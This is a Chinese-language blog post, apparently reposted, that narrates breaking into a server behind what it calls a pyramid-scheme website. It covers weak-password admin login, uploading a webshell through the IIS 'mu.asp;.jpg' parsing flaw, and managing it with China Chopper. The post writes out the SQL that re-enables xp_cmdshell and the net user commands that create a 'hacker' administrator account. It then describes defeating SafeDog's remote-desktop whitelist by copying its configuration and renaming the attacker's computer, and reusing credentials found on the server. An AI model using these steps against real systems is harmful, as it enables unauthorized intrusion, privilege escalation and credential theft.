1. 程式人生 > >【利用檔案上傳漏洞滲透某傳銷伺服器】

【利用檔案上傳漏洞滲透某傳銷伺服器】

640.gif?wxfrom=5&wx_lazy=1

作者:Simeon

轉自:計算機與網路安全(ID:Computer-network)

640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1

對於傳銷網站的伺服器來說,目前都防護較強,使用安全狗等軟硬體防範,但由於最終使用該產品的必須由人來實現,當獲取webshell的情況下,通過一些技術手段可以繞過防火牆的防護,從而登入並獲取伺服器許可權。下面分享一個通過檔案上傳漏洞獲取webshell以及圖片安全狗的防範獲取伺服器許可權。

一、通過檔案上傳獲取webshell

1、尋找和登入後臺

傳銷網站的後臺地址一般都會進行修改,運氣好的預設為admin,可以通過猜測和xss跨站攻擊來獲取,本文比較幸運,通過其域名+admin地址成功獲取其後臺,且通過弱口令登入其後臺,如圖1所示。在其後臺地址中有多個模組,通過對每個模組的訪問來檢視是否存在上傳的頁面。

640?wx_fmt=png

圖1:進入後臺

2、上傳構造檔案

選擇“化妝品”-“新增子選單”,如圖2所示,在子選單名稱、選單排序中隨便輸入一些值,在選單圖片中選擇一個mu.asp;.jpg——典型的IIS名稱解析漏洞檔案,單擊“確定”將檔案上傳到伺服器。

640?wx_fmt=png

圖2:上傳特殊構造的檔案

3、檢視新建的子選單記錄

如圖3所示,回到選單管理中,可以看到在化妝品選單中成功新建一條記錄。

640?wx_fmt=png

圖3:檢視新建的選單記錄

4、獲取上傳檔案的地址

可以通過選擇圖片,在新建視窗中開啟圖片連結地址,也可以通過檢視框架網頁原始碼來獲取上傳的圖片的真實地址,如圖4所示,獲取上傳檔案的真實地址為“FileMenu/mu.asp;.jpg”,網站未對上傳檔案進行重新命名等安全過濾和檢測。

640?wx_fmt=png

圖4:獲取圖片的真實地址

5、獲取webshell

使用中國選單一句話後門管理軟體新建一條記錄,指令碼型別選擇asp,地址填寫“http://www.somesite.com/FileMenu/mu.asp;.jpg”,密碼填寫網頁一句話後門的密碼,如圖5所示,成功獲取webshell。

640?wx_fmt=png

圖5:獲取webshell


二、資訊檢視及提權

1、資訊檢視及提權思路

拿到shell後,通過webshell對伺服器網站程式碼檔案進行檢視,對可讀寫目錄進行檢視,尋找一切可能用於提權的資訊。如圖6所示,通過檢視該網站的程式碼,獲取該網站目前使用MSSQL,且資料庫使用者為sa許可權。看到這裡,腦海中的提權思路:

(1)檢視SQL Server的版本,如果低於2005版本,則在獲取sa許可權下,提權成功率在99%。

(2)通過恢復儲存過程xp_cmdshell:

EXEC sp_configure 'show advanced options', 1; 

RECONFIGURE; 

EXEC sp_configure 'xp_cmdshell', 1; 

RECONFIGURE;  

(3)直接執行命令

640?wx_fmt=png

圖6:獲取原始碼中的資料庫配置

2、配置MSSQL以及執行命令

在中國菜刀後門管理工具中,對獲取的webshell配置資料庫連線資訊,然後進行資料庫管理,如圖7所示,可以執行“EXEC master..xp_cmdshell ‘set’”命令來檢視系統當前環境變數等配置情況。

640?wx_fmt=png

圖7:執行命令

可以有三種方式來執行MSSQL命令:

(1)通過MSSQL的查詢聯結器,SQL Server 2000的查詢分離器,通過SQL Server的連線伺服器,連線成功後,可以在查詢中執行命令。

(2)在中國菜刀後門管理工具的資料庫管理配置好資料庫連線引數,然後進行資料庫管理即可。

(3)SQL Server資料庫連線工具SQL TOOLS。該工具主要用來連線MSSQL和執行命令,是MSSQL提權輔助工具。

3、新增管理員使用者並登入伺服器

分別執行:

EXEC master..xp_cmdshell ‘net user hacker [email protected]# /add’

EXEC master..xp_cmdshell ‘net localgroup administrator hacker /add’

新增成功後,直接連線伺服器,如圖8所示,提示“由於會話在遠端計算機上被登出,遠端會話被中斷。您的管理員或者另一個使用者結束了您的連線”,該提示表明伺服器上有防護,通過執行tasklist /svc | find "TermService"和 netstat -ano | find “埠號”來獲取真實的3389連線埠51389,然後再次進行連線,如圖9所示,一連線就出現錯誤提示。

640?wx_fmt=png

圖8:連線3389錯誤提示

640?wx_fmt=png

圖9:換埠後連線失敗

4、獲取安全狗配置檔案

對此問題,通過百度搜索情況,表明該情況是由於安全狗的防護導致的。通過shell,檢視C盤,在“C:\Program File\SafeDog\SafedogServer\SafeDogGuardcenter”下將其配置檔案proGuadData.ini下載到本地,如圖10所示。在本地安裝安全狗軟體,然後將配置檔案覆蓋。

640?wx_fmt=png

圖10:下載安全狗防護配置檔案

5、修改計算機名稱

如圖11所示,在安全狗安遠端桌面保護中僅僅允許三個計算機名為白名單,看到這裡就知道如何繞過防火牆了,將個人計算機名稱更改為白名單中的三個名稱中的任何一個即可。

640?wx_fmt=png

圖11:遠端桌面保護白名單

6、登入伺服器

再次登入該伺服器的遠端桌面,如圖12所示,成功登入伺服器,在該伺服器上可以看到N多網站。

640?wx_fmt=png

圖12:登入遠端桌面

三、總結與提高

1、資訊擴充套件

在伺服器上,發現一個txt檔案,如圖13所示,開啟該檔案後包含了一個新IP地址,管理員名稱及其密碼,使用該資訊成功登入伺服器,該資訊估計是管理員為了方便管理留下的資訊。

640?wx_fmt=png

圖13:獲取其它使用者和密碼

2、繞過安全狗攔截遠端終端

獲取安全狗的配置檔案,在本地還原後,將本地伺服器修改為白名單伺服器名稱即可繞過。

推薦閱讀:

640?wx_fmt=jpeg

640?wx_fmt=png